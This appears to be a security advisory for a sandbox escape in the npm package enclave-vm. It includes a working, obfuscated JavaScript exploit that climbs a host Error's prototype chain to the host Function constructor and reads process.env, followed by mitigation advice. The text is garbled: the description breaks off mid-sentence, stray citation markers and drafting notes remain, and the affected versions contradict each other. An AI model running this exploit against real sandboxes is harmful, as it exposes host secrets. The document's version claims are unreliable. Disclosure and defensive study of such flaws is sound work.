GHSA-7qm7-455j-5p63 enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain

• npm enclave-vm: < 2.7.0 → fixed in 2.7.0

A critical sandbox escape vulnerability exists in enclave-vm (affected: ⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control. Click to expand PoC ```javascript // Vector 35: The Host Error Escape // Purpose: Trigger a Host-side error and traverse its prototype chain // to reach the Host Function constructor. const s = (...args) => String.fromCharCode(...args); const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor" const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__" const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118); const kPtype = s(112,114,111,116,111,116,121,112,101); try { const ObjectProto = Object[kPtype]; const lookup = ObjectProto[kLookup]; const getProtoNative = lookup.call(ObjectProto, kProto); let hostError; try { await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {}); } catch (e) { hostError = e; } const errProto = getProtoNative.call(hostError); const ErrorCtor = errProto[kCon]; const HostFunc = ErrorCtor[kCon]; const exploitFn = HostFunc(kCode); return exploitFn(); } catch (e) { return e.message; } ```` --- Mitigation / Remediation Immediate action:** • Upgrade enclave-vm to 2.7.0+ Defense-in-depth guidance: • Re-create all Error objects crossing the sandbox boundary inside the sandbox realm • Strip / freeze prototype chains of host objects • Prevent access to host `Function` constructors • Harden tool error handling to avoid leaking host-native objects --- References • GitHub Security Advisory: https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63 • npm package: https://www.npmjs.com/package/enclave-vm • Enclave repo: https://github.com/agentfront/enclave • FrontMCP docs: https://agentfront.dev/docs • CodeCall plugin overview: https://agentfront.dev/docs/plugins/overview • EnclaveVM Playground: https://enclave.agentfront.dev/ ``` Factual hooks (for correctness): • GHSA page confirms affected `<2.6.0` and patched `2.7.0`, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0} • FrontMCP docs explicitly describe CodeCall and that it uses Enclave (AST validation + runtime sandboxing). :contentReference[oaicite:1]{index=1} • FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2} • Enclave repo links the Live Demo at `enclave.agentfront.dev`. :contentReference[oaicite:3]{index=3} • Release listing shows `[email protected]` dated Jan 9 (fast fix signal). :contentReference[oaicite:4]{index=4} ::contentReference[oaicite:5]{index=5}